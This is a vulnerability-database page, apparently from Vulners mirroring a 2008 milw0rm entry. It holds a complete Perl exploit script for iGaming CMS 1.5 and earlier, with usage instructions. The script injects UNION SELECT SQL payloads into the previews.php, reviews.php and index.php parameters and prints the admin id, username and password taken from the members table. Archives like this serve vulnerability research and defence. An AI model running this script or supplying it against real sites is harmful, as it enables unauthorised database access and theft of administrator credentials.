Lucene search
K

iGaming CMS <= 1.5 - Multiple Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

iGaming CMS <= 1.5 Remote SQL Injection Exploi

Code

                                                #!/usr/bin/perl
# ----------------------------------------------------------
# iGaming &#60;= 1.5 Multiple Remote SQL Injection Exploit
# Perl Exploit - Output: id:admin:password
# Discovered On: 23/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Proud To Be Italian 
# ----------------------------------------------------------
# Usage: perl exploit.pl http://localhost/iGaming
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($one,$two,$exec,$host,$http,$xxx,$view);

$view  = &#34;&#39;%20union%20select%200,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8%20from%20sp_members%20WHERE%20id=&#39;1/*&#34;;
$exec  = &#34;&#39;%20union%20select%201,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3%20from%20sp_members%20where%20id=&#39;1/*&#34;;
$host = shift @ARGV;
$http = new LWP::UserAgent or die $!;
$http-&#62;agent(&#34;Mozilla/4.5 [en] (Win95; U)&#34;);
$http-&#62;timeout(1);
                          

if($host !~ /^http:\/\/(.+?)$/)
{
  print &#34;[?] iGaming CMS &#60;= 1.5 Multiple Remote SQL Injection Exploit\n&#34;;
  print &#34;[?] Usage: perl $0 http://[path]\n&#34;;
  exit;
}
else
{
  $one = $http-&#62;get($host.&#39;/previews.php?browse=&#39;.$exec);
  $two = $http-&#62;get($host.&#39;/reviews.php?browse=&#39;.$exec);
  $xxx = $http-&#62;get($host.&#39;/index.php?do=viewarticle&id=&#39;.$view);
  
  if($one-&#62;is_success or $two-&#62;is_success or $xxx-&#62;is_success)
  {
    die &#34;$1\n&#34; if $one-&#62;content =~ /%(.+?)%/;
    die &#34;$1\n&#34; if $two-&#62;content =~ /%(.+?)%/;
    die &#34;$1\n&#34; if $xxx-&#62;content =~ /%(.+?)%/;
  }
  else
  {
    die &#34;[+] Exploit Failed!\n&#34;;
  }
}  

# milw0rm.com [2008-09-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23